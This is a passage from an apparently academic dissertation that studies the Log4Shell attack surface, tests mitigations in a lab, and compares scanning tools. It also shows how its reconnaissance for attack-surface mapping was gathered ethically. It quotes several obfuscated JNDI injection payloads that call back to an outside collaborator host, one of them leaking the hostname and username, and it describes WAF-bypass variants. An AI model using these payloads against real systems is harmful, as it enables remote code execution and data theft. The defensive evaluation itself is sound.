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Internal Systems and Susceptibility. Risk rating frameworks like CVSS rate

vulnerabilities as much more severe if they can be exploited from the Internet [148].

Even with the proliferation of insider threats, zero-trust, and other modern security

paradigms, a system protected by a firewall is considered more secure. However, in

the past it has been observed that command injection attacks allow an attacker to

run code on web servers, even when command interpreter services like secure shell

are blocked from attacker access and the only access allowed is to submit traditional

web requests. Likewise, SQL injection attacks let attackers run queries directly on

database servers via the web application—even when security recommendations are

followed to protect databases deep within a corporate network.

The Log4Shell vulnerability has the potential to be much more widespread and

dangerous. Consider the traditional SQL injection. The threat actor sends the SQL

injection attack string almost directly to the vulnerable component, the web server.

Because the web application did not use parameterized queries or server-side input

validation, the attack is successful, and the threat actor can abuse the application’s

relationship with the database to conduct RCE on that database. But this is a

specific exploit, tailored to a specific web endpoint on a particular application—and

most importantly, with a single victim, the database for which that web endpoint has

privileges to query.

Contrast this with the Log4Shell vulnerability, where the flaw is in a compo-

nent used in so many diverse applications, from IoT devices to vehicles to web servers

and frameworks, and even security tools and back-end processing applications. With

Log4Shell, any application of any type that “sees” the exploit and logs it using a

vulnerable Log4j library is vulnerable to RCE. Figure 4.2 shows a notional web ap-

plication vulnerable to Log4Shell, where data from a user’s query flows from the

Internet, through the firewall and app servers in the Demilitarized Zone (DMZ), and
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ultimately to databases, back-end servers (and possibly out to external vendors)—all

the while being monitored by Security Information and Event Management (SIEM)

tools. If the user is a threat actor using Log4Shell, they can send the attack string

to the web server, just as in the SQL injection attack. However, unlike SQLi, the

Log4Shell attack string can proliferate to other components. The threat actor may

gain RCE on the web application server if it is vulnerable. But vulnerable or not, the

web application server will likely pass that value into a database. The database may

pass the data on to a back-end processing application that is vulnerable—or worse

yet, to an external vendor as part of a different business process. Normally transpar-

ent systems, like SIEM and antivirus could scan and log the attack in a database,

in network traffic, or on another server. If they do, and they are logging with the

vulnerable library, they too could become compromised.

4.1.5 Mitigation Effectiveness

Mitigation versus Remediation. When dealing with cybersecurity vulner-

ability management, it is important to understand the difference between mitigation

(making a vulnerability less significant) and remediation (“curing” a vulnerability

completely) [160]. Remediation typically involves uninstalling the vulnerable compo-

nent or replacing it with a patched component that no longer has the vulnerability.

Mitigation can be much more complicated, and can involve any number of measures

designed to lower the risk of the finding, where risk is a function of both likelihood

and impact [82]. Thus, a mitigation might reduce likelihood by making the vulnera-

bility more difficult to exploit, and/or a mitigation might reduce impact by limiting

what the threat actor can accomplish upon successful exploitation.

Log4Shell Mitigation. In the case of Log4Shell, an initial mitigation was
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proposed that reduced the attack surface by disabling the vulnerable feature at the

command line or by an environment variable. This fix was soon rolled back as inef-

fective, because a non-standard configuration file could override the mitigation. How-

ever, it did block the exploit in default configurations, and thus was in fact effective

in reducing the likelihood of exploitation [114].

Another widely-proposed mitigation was to isolate vulnerable systems from

the rest of the internal network. This mitigation assumed the system was or would

be compromised by vulnerability exploitation. It reduced the impact of exploitation

by limiting it to the affected system, and it was effective, though it had the potential

for significant negative business impact.

A related mitigation not widely proposed was blocking initial Internet-bound

network connections from the system running a vulnerable version of Log4j, before it

could be exploited. The RCE and Information Disclosure exploitation paths require

initial outbound connections to an attacker-controlled server; without these connec-

tions, there is no way for an attacker to even know if the vulnerability exists—and

more importantly, no network path for them to receive information or accept a request

for malicious Java code to send back for execution. This can be demonstrated with

an IPTables command such as sudo iptables -t filter -I OUTPUT 1 -m state

--state NEW -j REJECT, although this command blocks all new connections from

the system. A better method would be to use internal firewalls to ensure that the

application could initiate connections to databases, update servers, and other trusted

devices but be blocked by default from all others.

Proof of Concept. We used Cloudlab [43] to create a test environment in

which to run the vulnerable application in Listing 4.1. This environment consisted

of a victim server (running the vulnerable application), an attacker-controlled server

(running a malicious LDAP responder and a web server to serve out the malicious Java
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class [93]), and a firewall between them that could be configured to monitor or block

traffic. We tested the RCE and Information Disclosure attacks. If successful, the

RCE resulted in a reverse shell, while the Information Disclosure attack transmitted

the current Java version to the attacker server.

Attack Type
Mitigation
Technique

Results (✓= yes) Attack Steps (✓= observed with Wireshark)

Application
Worked

Attack
Successful

Inbound
Attack

JNDI
Req

Received

LDAP
Response

App Class
Request

Remote
Code

Execution

None ✓ ✓ ✓ ✓ ✓ ✓

Command
Line

✓ ✓

Remove Class ✓ ✓

Outbound Net
Block

✓ ✓

Information
Disclosure

None ✓ ✓ ✓ ✓ N/A N/A
Command

Line
✓ ✓ N/A N/A

Remove Class ✓ ✓ N/A N/A
Outbound Net

Block
✓ ✓ N/A N/A

Table 4.2: Experimental Results

We tested a baseline case for each attack with no mitigations and three miti-

gating strategies: a command line option to disable JNDI lookups, the removal of the

JNDI lookup class from the JAR files, and blocking outbound network connections.

The results can be found in Table 4.2. For an RCE attack to be successful, all four

steps needed to be successful (application receives inbound attack, attacker receives

the JNDI request, application receives the LDAP response, and attacker receives ap-

plication’s request for the Java class). For the Information Disclosure attack, only

the first two steps are relevant since the disclosed information is transmitted with the

JNDI request.

The RCE attack was successful, but only in the baseline case (vulnerable Log4j

with no mitigations). With any of the three mitigations in place, the application

received the attack but did not make an outbound JNDI request.
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Likewise, the Information Disclosure attack was also successful in the baseline

case. The information to be disclosed was sent in the initial JNDI request to the

attacker-controlled server. As with the RCE attack, when any of the three mitigations

were in place, the application did not make the outbound JNDI request and thus did

not disclose any information. The last two columns are not applicable for this attack

because the disclosure happens in the JNDI request.

In summary, with no mitigations applied, it was possible to successfully execute

the attacks and observe the network traffic for all steps as expected. All mitigations

successfully blocked both attacks with equal effectiveness; this was expected since the

vulnerable application used the most basic use case of Log4j. None of the mitigations

had a negative impact on the application’s functionality.

4.1.6 Conclusion

Traditionally, a web attack surface has been the listening ports exposed to a

threat[50]. A vulnerability like log4shell expands the attack surface for knowledgeable

threat actors. In effect, it gives internal applications a new, often externally-facing

attack surface. Any system that can receive attacker-controlled data can be a proxy to

attack another system that ultimately logs it. Going forward, it must be acknowledged

that even systems with no clear direct relationship to an Internet-facing system may

be easily exploitable, even if they are behind a firewall or on a network completely

isolated from the original point of entry. Our analysis of the dynamic test tools

published quickly after the vulnerability disclosure revealed that knowledge of the

web attack surface was critical. Without a complete understanding of possible entry

points for attackers, a test case could be missed, and a vulnerability could remain

undetected.
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4.2 Log4Shell Test Tools

The work presented in this section was published in IEEE Secure Development

(IEEE SecDev) 2022.

Immediately following the Log4Shell disclosure, threat actors around the world

began scanning for and exploiting Log4Shell. Some actors used the vulnerability to

establish command and control using Cobalt Strike, PowerShell, Meterpreter, and

other tools [113]. Given its potential to be used in any Java application, organiza-

tions around the globe were scrambling to determine and eliminate their exposure

where possible, and to mitigate the risk elsewhere. Both open-source and vendor

communities were quick to deliver a wide variety of tools that security teams used to

assess their exposure to Log4Shell.

In this section, we briefly discuss representative Log4Shell test tools, including

dynamic analysis tools, static analysis tools, honeypots, etc. Figure 4.3 shows a

taxonomy of the tools we reviewed. This taxonomy characterizes tools as either

Dynamic Analysis, Static Analysis, or Other. We then subclassify the tools according

to their capabilities. For all tools the language the tool was written in is noted. A

detailed analysis is below, also grouped as Dynamic, Static, and Other.

4.2.1 Static Analysis

Static analysis has the benefit of identifying even hard-to-find vulnerabilities in

applications, but could return more false positives as a result [128]. Static Application

Security Testing (SAST) or Static Code Analysis involves scanning an application’s

code for vulnerabilities. However, in the case of Log4Shell, the static tools identi-

fied used Software Composition Analysis to determine if the vulnerable library was

included in the application rather than actually reviewing any software lines of code.
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Figure 4.3: Taxonomy of Log4Shell Test Tools

Arctic Wolf Log4Shell Deep Scan. [178] Log4Shell Deep Scan is a Pow-

ershell script for Windows and a shell script for Mac and Linux. It scans the local file

systems to find applications vulnerable to Log4Shell. The end result of the scan is a

PASS/FAIL but could also be indeterminate with UNKNOWN/ERROR results. In

cases of FAIL or indeterminate results, the program’s output will provide file paths

and other clues that will assist the tester in making a manual determination. The

methodology used is to see if JndiLookup.class exists in any JAR files and then

determine if Log4j has been updated to a non-vulnerable version. The tool features

recursion within JAR/WAR/EAR files, but it doesn’t identify vulnerable classes in

zip files. Artic Wolf provides several test files that can be used to ensure the tool is

working correctly.

Crowdstrike Archive Scan Tool. [34] CAST, or Crowdstrike Archive Scan

Tool, is a free but closed-source tool provided by Crowdstrike. According to their

GitHub site and blog, CAST scans directories recursively for JAR, WAR, ZIP, and

EAR and identifies potentially vulnerable libraries based on about 6,500 SHA256

hashes. If the hash of a library or file matches to a known vulnerable hash, that

library or file is noted as being vulnerable.

Fox-IT Log4j Finder. [56] Fox-IT’s Log4j Finder is a cross-platform Python
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script that scans the filesystem for vulnerable JNDI Lookup classes and Log4j JAR

files recursively using a list of known good and known bad hashes. This tool claims to

only scan JAR, WAR, and EAR files; however, the testing and a review of the source

code shows that the tool does check inside ZIP archives as well. JAR files inside these

files will be scanned using the recursive algorithm.

Google Log4jScanner. [62] Google’s Log4jScanner is based on Go, and it

uses a variety of checks to determine if a given JAR file is vulnerable. It features

recursion, runs on multiple platforms, and even comes with a library of test JARs

which can be used to evaluate its performance against other tools. While Google’s

README file indicates the scanner has generated false positives, Google’s scanner

was the only one that did not generate any false positives on the test data set.

MergeBase Log4j Detector. [112] The Log4j Detector by MergeBase is

written in Java and scans the filesystem for applications vulnerable to Log4Shell. It

differentiates between beta versions that may be safe, and also notes older versions

of Log4j as ” OLD ”, even though they aren’t vulnerable to Log4Shell. The tool

can recurse inside ZIP, EAR, WAR, AAR, and JAR files, and it provides feedback

to show how far it had to recurse to find a vulnerability. The detection method it

uses is checking for certain string literals inside the class files that indicate vulnerable

versions.

Logpresso CVE 2021-4428 Scanner. [100] Logspresso’s Java-based Log4j2-

scan recursively scans JAR, WAR, EAR, AAR, RAR, and NAR files for vulnerable

versions of Log4j. This scanner looks for earlier vulnerabilities as well, not just

Log4Shell, and can patch files to remove the vulnerabilities.

Palantir Log4j Sniffer. [126] Palantir’s Log4j Sniffer is written in Go, and

it scans a user-specified directory for instances of Log4j. It crawls the directory

tree and recurses into archives up to a user-configurable maximum depth. Through a
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combination of filename matching, class name matching, and MD5 hash comparisons,

this tool identifies Log4j versions vulnerable to Log4Shell and provides details as to

the reasoning behind its decisions. The tool can use partial matching which lets it

detect even modified/obfuscated files.

4.2.2 Dynamic Analysis

DAST is a form of security testing where applications are tested using a black

box method, from the outside. Dynamic analysis tools scan the application while it is

running by sending modified requests to see how the application will react. Dynamic

analysis provides a ground-truth view but could potentially miss features that aren’t

readily exposed through normal web crawling, resulting in false negatives [128].

We created a taxonomy of test tools to evaluate many of the static and dynamic

analysis tools against a vulnerable application testbed to see how effective they were at

their primary purpose: detecting Log4Shell. We also created a testbed application, a

small Java application that accepted HTTP requests and logged every header, request

parameter name, and request parameter value using a vulnerable version of Log4j.

CISA Log4j Scanner. [31] CISA provides three components with this tool:

a scanner, which scans a given URL for the Log4Shell vulnerability; a DNS server,

to detect if the victim application responded to a JNDI DNS request; and an LDAP

server, to serve a reference to a malicious Java class so the user can test the full

chain exploit. The scanner is discussed below as the Fullhunt Log4j Scan tool. The

DNS server is a simple DNS server based on Python’s dnslib. The LDAP server is a

custom server designed to respond to JNDI LDAP requests with malicious class files

that would be executed on a vulnerable victim.

Fullhunt Log4j Scan. [59] The Fullhunt scanner is the scanner component
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of the CISA Log4j scanner. The scanner actively sends exploit attempts to a specified

URL in over 60 HTTP request headers, HTTP POST parameters, and JSON data

parameters. It also provides some limited WAF Bypass capability in that multiple

modified payloads are included. Since the scanner is written in Python, it’s relatively

easy to add additional modified payloads, headers, and parameters to fit a partic-

ular situation. The Fullhunt scanner provides a full-chain exploit, meaning that if

successful, the tool can execute code on the victim system[31].

The CISA/Fullhunt scanner was tested using the simple POST request shown

in Listing 4.2. Unlike the Burp plugins which are reviewed below, the CISA/Fullhunt

scanner puts multiple attacks in a single request. The default mode makes a single

request, while there is a more expanded mode, available with the --run-all-tests

option, that makes three requests. An additional option, --waf-bypass, runs all the

tests but uses 23 alternate payloads to attempt to bypass Web Application Firewalls

(WAFs). For example, the “j” in ${jndi} might be representing as ${lower:j}

instead.

Because the CISA/Fullhunt scanner put so many attacks in a single request,

the test application struggled to log all of them and return a response on time. In

fact, some requests took more than 45 seconds to return from a local virtual machine.

(Baseline requests were returned in less than 20 milliseconds.)

Listing 4.2: Test POST Request

POST / HTTP/1 .1

Host : 1 92 . 1 68 . 1 . 2 41 : 8 000

Accept−Encoding : gzip , d e f l a t e

Accept : ∗/∗

Accept−Language : en−US; q=0.9 , en ; q=0.8

User−Agent : Moz i l l a /5.0 (Windows NT 10 . 0 ; Win64 ; x64 ) AppleWebKit /537.36
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(KHTML, l i k e Gecko ) Chrome/101 .0 .4951 .54 Sa f a r i /537.36

Connection : c l o s e

Cache−Contro l : max−age=0

Content−Type : a p p l i c a t i o n /x−www−form−ur lencoded

Content−Length : 7

Burp Proxy Suite Log4Shell Everywhere extension. [77] Burp Proxy

Suite by Portswigger is a web proxy test tool that allows penetration testers to in-

tercept requests made from a web browser and store/modify them. It includes a

significant amount of automation capability, particularly in the paid Professional ver-

sion. It is also extensible with user-created plugins like the Log4Shell Everywhere

extension. This extension uses Burp’s Collaborator tool, which is an infrastructure

hosted on a Portswigger-controlled domain designed to receive responses from tar-

geted systems. If a particular type of request can cause the target to communicate

with an attacker-specified server, the target may be vulnerable to an exploit. In this

case, the Log4Shell Everywhere extension extends Burp’s Proxy to modify requests

as the tester browses through a website. It sends Log4Shell payloads to the target,

awaiting a reply at the Collaborator. If Collaborator reports an interaction from the

target, this means the JNDI was interpreted in some way. Note this extension does

not cause a full-chain exploit, so it cannot conclusively determine if a system is vul-

nerable to the RCE vulnerability, only that it was vulnerable enough to reach out via

a JNDI request.

We used the POST request from Listing 4.2 to evaluate this extension. It

modified the request to insert the same attack in multiple places. Collaborator infor-

mation was customized so Burp could tell which injection point triggered the vulnera-

bility. The attack looked like this: ${jn${lower:d}i:l${lower:d}ap://${lower:x}

${lower:f}.[customized].oastify.com/a}, with the customized string represented
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by [customized]. This attack is a JNDI request that reaches out to oastify.com, the

Burp Collaborator domain. The attack is obfuscated using the Log4j lower lookup

in an effort to evade WAFs or other protections.

Our analysis of the source code and an active test with Burp itself revealed

that this extension only adds/replaces parameters and headers as specified in a built-

in configuration file. Its default configuration adds the attack to 25 headers and 1

parameter. In order for the tool to be effective, it would need to be customized to

include additional parameters and headers. In addition, if LDAP traffic is blocked

from leaving the network, the Collaborator will not be contacted, potentially resulting

in false negatives.

Burp Proxy Suite Log4Shell Scanner extension. [135] This tool is an

extension to Burp like the previous one. However this tool adds capability to Burp’s

Active Scanner, a tool designed to insert attacks into multiple places in the HTTP

request. As such, it inserts attacks into any place the scanner deems appropriate.

While less customizable than Log4Shell Everywhere, this tool is more adaptable out

of the box. However, it doesn’t insert the attack into common headers as Log4Shell

Everywhere does.

As part of the evaluation for this tool, we sent the POST request from Listing

4.2 through Burp’s Active Scanner with the extension enabled. Burp made 18 requests

with the extension, as indicated by Burp’s built-in logger. These were three attacks

inserted in six different places in the request. The three attacks were:

• ${jndi:ldap://[customized].oastify.com:99999/s2test}

• ${jndi:ldap://h${hostName}.[customized].oastify.com:99999/s2test}

• ${jndi:ldap://u${hostName}-s2u-${env:USERNAME:-${env:USER}}.

[customized].oastify.com:99999/s2test}
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These items were placed in the following six locations:

• Replacing the first post parameter value

• Replacing the second post parameter value

• As a new post parameter name with value of 1

• At the end of the URL, behind a question mark

• Replacing the User Agent header

• Replacing the Referer (sic) header

Aside from being limited to Burp Active Scanner-provided insertion points,

the tool as configured attempts requests over an invalid port. According to a GitHub

pull request, this was done to avoid timeouts in the scanner.

Burp Proxy Suite Active Scan++ extension. [134] Active Scan++

was authored by James Kettle, the lead researcher for Burp Proxy Suite’s developer

Portswigger[85]. Like the Log4Shell Scanner Extension described above, Kettle’s tool

adds features to Burp’s built-in Active Scanner—among these features is a check for

Log4Shell. However, the Log4Shell check is not included in the latest Burp App store

version, and Kettle explains in a tweet that the check he wrote has been “superseded”

by other checks in the store, so it was not published and is not maintained[6]. It is

still possible to download it directly from Portswigger’s GitHub site, which is how

the tests for this work were conducted.

The request from 4.2 was entered and again an active scan was requested with

Active Scan++. The extension sent this attack: ${jndi:ldap://[customized].

oastify.com:80/a}; where appropriate it was URL-encoded.

The attack was placed in the following six locations, the same as the Log4Shell

scanner extension:
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• Replacing the first post parameter value

• Replacing the second post parameter value

• As a new post parameter name with value of 1

• At the end of the URL, behind a question mark

• Replacing the User Agent header

• Replacing the Referer (sic) header

Active Scan++ only reported that the application was vulnerable and didn’t

call out specific parts of the request that triggered the attack. Based on this, it

appears the extension is designed to notify the user that the application as a whole is

vulnerable—this makes sense since the fix is to replace the vulnerable library (which

would fix every instance), so it isn’t really necessary to know exactly which parameter

triggered the exploit.

The scanner timed out when run against the test application. Presumably this

is because the original exploit causes a call to an LDAP port, and the Collaborator

does not respond, causing a timeout. When used against the test application, the

scanner timed out with a false negative. This issue was addressed by adding a :80

to the end of the Collaborator domain, thus forcing a vulnerable system to connect

to the Collaborator server on port 80. This forked version of ActiveScan++ can be

found at https://github.com/0xd0ug/active-scan-plus-plus.

Zed Attack Proxy Alpha Active Scanner Rules. [92] Zed Attack Proxy

(ZAP) is a proxy-based web application test tool similar to Burp Proxy Suite, though

ZAP is an open source project supported by the Open Web Application Security

Project (OWASP). On December 14, 2021, the ZAP team blogged about new detec-

tion rules added to their Active Scanner which used DNS responders to catch JNDI
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lookups inserted by ZAP active scans. Once ZAP is configured to add these rules,

Log4Shell lookups are built-in as an additional check that can be enabled/disabled

or requested via ZAP’s API.

Kothari provided instructions to configure ZAP to use the new Log4Shell rules,

which were followed. The request from Listing 4.2 was then used and an Active Scan

was requested, with the scanner configured to disable all checks except for Log4Shell.

ZAP sent 10 different attack types to the following locations:

• Replacing the first post parameter value

• Replacing the second post parameter value

• Replacing the Accept header

• Replacing the Accept-Language header

• Replacing the User-Agent header

• Replacing the Content-Type header

4.2.3 Other Tools

During this research several other tools were encountered that do not fit the

dynamic or static analysis categories. While these tools don’t conduct testing directly

on their own, they provide functionality that could be valuable to someone attempting

to secure their infrastructure from Log4Shell attacks.

Binary Defense Log4j Honeypot Flask. [22] Binary Defense’s honeypot is

not vulnerable to Log4Shell; in fact, it doesn’t even run Java. This Python program

creates a notional web server and then monitors incoming attacks for the pattern

${ because this pattern is included in all known working exploits. If it identifies
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the pattern, it has the ability to alert the hosting user via Slack, Teams, or similar

method. In this way, an organization can not only know they are being attacked, but

they can analyze the type of attacks and use that information to tweak their WAFs

or other filters to better defend systems that might actually be running a vulnerable

version of Log4j.

Bi.Zone Log4Shell Yara Rule. [23] Yara rules are a way to organize Indi-

cators of Compromise (IoCs) in a way that they can be easily used in scanners[120].

The Bi.Zone Log4Shell Yara Rule simply instructs Yara how to see if Log4j is installed

on a system. Determining whether or not an application is vulnerable is not handled

by this rule and would need to be handled manually or by another tool.

Datto Log4Shell Enumeration, Mitigation, and Attack Detection

Tool for Windows and Linux. [35] Datto’s Log4Shell tool performs three main

functions. First, it will set an environment variable to disable JNDI lookups system-

wide, provided they aren’t enabled by a command line option. Second, it uses Yara

rules to search the systems for indications of Log4Shell exploit attempts. Finally, it

searches JAR files for the JNDI Lookup class, flagging those files for manual review.

Datto’s PowerShell-based tool only works on Windows.

Huntress Labs Log4Shell Vulnerability Tester. [73] The Huntress Labs

Tester is actually an LDAP server that can serve as a target to respond when a

Log4Shell exploit is successful. Huntress Labs hosts the tool at https://log4shell.

huntress.com. Each time this page is accessed, a unique identifier is generated, and

a sample Log4Shell payload is created containing the unique identifier. This payload

can be manually sent to a target or incorporated into scanning tools. If vulnerable,

the application will call back to the Huntress Labs LDAP server, and the results of

those callbacks can be viewed at the same site for up to thirty minutes.

One disadvantage of this approach is that vulnerable server IP addresses and
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other information will be disclosed to Huntress Labs. If confidentiality is a concern,

Huntress Labs provides the source code so that testers can host the site themselves

for greater privacy.

Log4Shell Vulnerability Test Tool. [15] Alexander Bakker’s Log4Shell

Vulnerability Test Tool is similar to the offering by Huntress Labs. It provides a

target and a unique identifier that can be used as a payload to trigger the Log4Shell

vulnerability. The site then reports on the results. In addition to the traditional

LDAP request, Bakker’s offering also responds to DNS, which is useful in case certain

outbound network connections are blocked from the server. For testers concerned

with privacy, Bakker provides the source code so the tool can be hosted on a tester-

controlled server.

4.2.4 Summary of Empirical Findings

Dynamic Tools Evaluation. In most cases, dynamic analysis tools tend to

lean toward false negatives and away from false positives. The low false positive rate

occurs because the test can normally be configured such that the application only

responds if it is vulnerable. The higher false negative rate may occur because the

attack surface is not always known, and it may be necessary for the application to

be in a certain state (logged in as a user with particular privilege) to access a certain

request.

Given what they were designed to evaluate, the dynamic analysis tools that

were evaluated performed as expected. Only the CISA tool was designed to exploit the

RCE—the other tools just checked to see if a JNDI request was interpreted. However,

the CISA and Fullhunt tools generated their own requests, whereas the Burp Proxy

Suite extensions based their tests off existing requests provided by the user. Because
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the CISA and Fullhunt tools only tested certain headers/post parameters, it is feasible

they could miss a vulnerable parameter.

Based on this, we recommend the CISA tool, because it will provide the most

thorough test with the caveat that you must modify it to ensure parameters relevant to

your application are tested. If you already use Burp Proxy Suite, the Burp extensions

will be easy to use but do not test RCE.

For future zero days, tools like the CISA/Fullhunt tool can be readily modified

to test different attack techniques. While the Burp extensions are open source, tools

within Burp itself make it easy to prototype attack scenarios, so it is impractical to

modify an existing extension for that purpose.

Static Tools Evaluation. For the static analysis tools, Google and Palantir

each provided a library of test files containing a combination of vulnerable, non-

vulnerable, and corrupt files they used to evaluate their tools [62, 126]. We used

these files to evaluate all the tools in scope. It is certainly possible this skewed the

results in favor of these two tools, but the results were still useful and insightful.

Each test tool was run according to the instructions to scan the files in the testbed

for vulnerable Log4j libraries. We performed the test on 63 different JAR/WAR files

for these 7 different passive tools. With total of 441 tests it was possible to identify

true/false positives/negatives and other relevant statistics.

Figure 4.4 shows the results of the test in terms of true/false negatives/posi-

tives. As expected, the Google and Palantir tools performed well against their own

data sets, which positively influenced their scores. It is worth noting that Google’s

tool was the only one with no false positives, possibly explained by the fact that it

searches for specific characteristics in the file that correspond to vulnerable versions.

Google and Artic Wolf had the highest precision, while Google and Palantir had the

highest accuracy. Contrary to Dynamic Analysis tools, Static Analysis Tools tend to
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Figure 4.4: Performance of Log4Shell Static Analysis Tools

favor false positives. Given these tools have full access to the files they are scanning,

there is an expectation of extremely low false negatives. The impact of a false posi-

tive is wasted time and effort; however, a false negative means a missed vulnerability

and potential exposure to an attacker. Specific to Log4Shell, the detection method

is to check for the vulnerable library—if the Java version is new enough, the JNDI

expansions may work, but RCE is not possible. This results in a very specific case of

false positive—but replacing the vulnerable library is still recommended in case the

application is ever run on an older JRE. Our results showed that, based on accuracy

and precision, Google performed best, with Palantir and Artic Wolf close behind.

Being open source, these tools can also be modified and extended to search for the

next vulnerability.

Limitations.

Commercial Tools. At-cost tools were not incorporated in this study, which
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precluded evaluating larger commercial scanners, many of which released plugins or

updates to detect Log4Shell. While Burp Proxy Suite is a commercial tool, there also

exists a community version downloadable at no cost.

Static Code Analysis. The static analysis tools we evaluated used Software

Composition Analysis rather than Static Code Analysis to detect Log4Shell[174].

These tools were likely more prevalent because the vulnerability was a legitimate

feature of the product, not the sort of vulnerability that would have readily been

detected by a Static Code Analysis tool. Thus Static Code Analysis tools were not

reviewed, because the focus was on finding the vulnerability within applications, not

finding the vulnerability itself inside the Log4Shell library.

Static Analysis Testbed. Log4j is used in a large number of Java applications,

both open- and closed-sourced. Since the testbed was obtained from the repositories

of two of the tools tested, it is understandable that the results were positively skewed

toward those tools.

4.2.5 Conclusion

Based on these results, we recommend using Static Analysis tools whenever

source code is available. Detecting and replacing the vulnerable library is the best

defense. Where source code is not available, use Dynamic Analysis tools, but know

that they must be configured to scan the entire attack surface. Even then, without

the source code there is always the possibility something could be missed.

It will only be a matter of time until the next zero day is discovered. If the

vulnerability is widespread and impactful like Log4Shell, it is likely another round of

tools will be quickly developed and provided by security researchers looking to help

the community. Using the techniques outlined above, it will be possible for future
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researchers to evaluate those tools as well.

In addition, there is a future research opportunity to analyze the intersection of

Static and Dynamic Analysis Tools to identify the best, most efficient way to detect

zero days. This will also include ensuring the tools can perform a complete and

accurate mapping of the application’s attack surface, thus ensuring the best possible

results.
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Chapter 5

Web Attack Surface Mapping

The web attack surface presents a richer landscape than that of a network,

and thus many more opportunities to identify relevant features from which the attack

surface can be clustered and compressed. By including security-relevant features from

HTTP/HTTPS responses, the door is opened to server headers and the entirety of

the Document Object Model (DOM) returned when a browser returns a page. The

possibilities are limitless, as this data can contain text, images, rich media, script

files, frameworks, links to other sites, and much more.

Our literature review in Chapter 2 outlines the current work evaluating WAVS,

and it shows that the emphasis has been on evaluating and improving the end-to-end

performance of WAVS. Offensive security research tends to pursue vulnerability iden-

tification. Our research in this chapter fills the gap between manual and automated

testing, and for offensive security research it fills the gap of how to get started testing

an attack surface. To find vulnerabilities, one needs to know where to look.

In this study, we developed an algorithm to compress web attack surfaces

based on security-relevant features using agglomerative hierarchical clustering. The

research required gathering the data, developing the framework, and conducting the
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experiment to measure success.

5.1 Gathering Data

The focus of our study was on the development and evaluation of an algorithm

to compress a web attack surface, not on reconnaissance and data gathering. However,

in order to develop the algorithm, it was necessary to gather data on multiple attack

surfaces. Given this data shaped the study, a review of the methods used to collect

it is relevant.

Developing a map of the attack surface requires gathering as much accurate

data as possible about that surface. To develop the techniques described in this

study, we performed passive and limited active reconnaissance techniques on the

Internet-facing web sites of twelve organizations to gather data on their web attack

surfaces. There are many factors that can inhibit gathering data on a web attack

surface. Modern web technology uses scripts to dynamically build pages after they

have been “loaded” in the classical sense. Also, tools must be tuned in order to

gather the maximum amount of data in a reasonable amount of time. In some cases,

network conditions can prevent a client from accessing a server within a reasonable

timeout period, resulting in a false negative. Furthermore, even with the benign web

requests used for this study, web infrastructures may recognize a single IP address

making requests to multiple web sites within a short time and block the connection

to prevent data gathering. For a security assessment, missed sites and dropped traffic

can result in entire applications not being properly assessed, ultimately yielding false

negatives in a security test report.

Fortunately, our research involved using the gathered data to develop a method-

ology. Accuracy and completeness, while important during a normal test, did not neg-
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atively impact the study. On the contrary, data collection results impacted by any of

these issues yielded useful data the algorithm used to highlight potential reconnais-

sance shortfalls, which would in practice give a security professional an opportunity

to conduct another attempt at gathering data from those points as needed.

5.1.1 Good Internet Citizenship

The data gathering process for this study was guided and informed by the

Menlo Report [14], as well as guidelines recommended by the developers of ZMap and

Censys [45, 44]. Data gathering involved visiting multiple web sites and saving select

characteristics of the network connection as well as the response from the browser.

The following possible concerns were considered:

• Excessive network traffic load at the source or destination networks

• Excessive application server load at the destination server

• Security staff using resources to investigate at source or target networks

• Privacy of network owners

The procedures for data gathering addressed these concerns with the following

mitigations:

• Selenium-wire [83] was used to drive an actual web browser to make all requests.

Manual analysis via Burp Proxy Suite [133] verified the requests made were no

different than that of a traditional web browser.

• A single thread was used, and Selenium timeout/sleep delays were included to

further limit the speed of requests.
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• No port scanning was conducted. All requests were application-level, from the

Selenium browser.

• Censys data was used to verify ports and reduce request volume.

• Web sites were chosen using publicly available information from search engines

and certificate transparency. No attempt was made to guess subdomains or

visit sites by IP address.

• The Selenium web browser was directed to only visit the root page of each web

site, following redirects according to server directives. No attempt was made to

crawl the site.

• No attempt was made to authenticate to or otherwise “test” any site.

• A custom user agent was transmitted with every request, containing a link to

a site at the university which explained the activity and gave the opportunity

to opt out. No opt-out requests were received.

• All references to collected data in this dissertation have been anonymized.

5.1.2 Methodology

For this study, the web attack surface of an organization is defined as the set

of all port/IP address pairs that are serving web services (i.e., the HTTP/HTTPS

protocol). To develop this methodology, the data set was further scoped down to only

those web sites operating with a registered domain name. Focusing on these sites and

services aligned with the study’s objective of showing good Internet citizenship by

only gathering data from sites that were either advertised by a search engine or were

issued certificates by a known certificate authority. It also allowed us to capture data

104



from sites occupying a single IP address but serving different responses based on the

host header (i.e., the domain name of the site requested). Data gathering consisted

of the following steps:

• Use search engines and recon-ng to identify domains and subdomains

• Use Bash, Python, and Censys to identify paths and ports to query

• Use selenium-wire to gather HTTP response and DOM data

• Use Burp Proxy Suite to passively collect limited vulnerability information

5.1.2.1 Use search engines and recon-ng to identify domains and subdo-

mains

We used Google and Shodan searches to identify the domains for the twelve

organizational networks in this study. From there, the recon-ng framework [169]

was used to collect subdomains. Recon-ng allows users to enter categories of data

(company names, domains, hosts, etc.) and derive other categories of data from it.

For example, there are modules to derive domains from company names, hosts from

domains, and so forth. In this study, recon-ng was used to derive hosts from domains.

In each case, recon-ng was provided with a domain, and two modules were used

to derive hosts, the bing domain web module and the certificate transparency

module.

Recon-ng’s bing domain web module uses a series of dynamic queries to the

Bing search engine that allow it to identify publicly-indexed hosts belonging to a

domain. The certificate transparency module makes a query to crt.sh in an attempt

to identify subdomains based on certificate transparency records. Certificate trans-

parency (CT) was established so that TLS certificates could be auditable. It enables
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browsers to check certificates against a known reliable log, but it also allows anyone

seeking to enumerate subdomains to query that same log and identify services using

TLS certificates, even ones that may not be publicly indexed. CT results were in-

cluded in this study because they provide a more complete view of the web attack

surface using a search engine without the need for active domain enumeration and

other aggressive techniques applied directly to the target domains[149].

5.1.2.2 Use Bash, Python, and Censys to identify paths and ports to

query

We developed a Bash script to execute the dig command for every subdomain

identify in the previous step, using DNS to passively identify which subdomains were

active and also to retrieve the corresponding IP address.

Traditionally, web services listen on port 80 for HTTP and 443 for HTTPS.

However, many services listen on other, non-standard ports. These must also be

considered part of the web attack surface, and may even be more interesting since

these ports are typically test or development applications or administrative con-

soles [102]. In order to ensure these were captured, Censys [44] was queried for

all ports with a query similar to the following: (dns.names: {domain.com} or

autonomous system.asn: {nnnn}) and services.service name:HTTP and not

services.port: {80,443}

We developed a Python script to parse the list of resolved host/IP address

pairs. The script looked up each IP address in the list of IP address/port pairs

provided by Censys. If the IP address was found in Censys, an entry was created

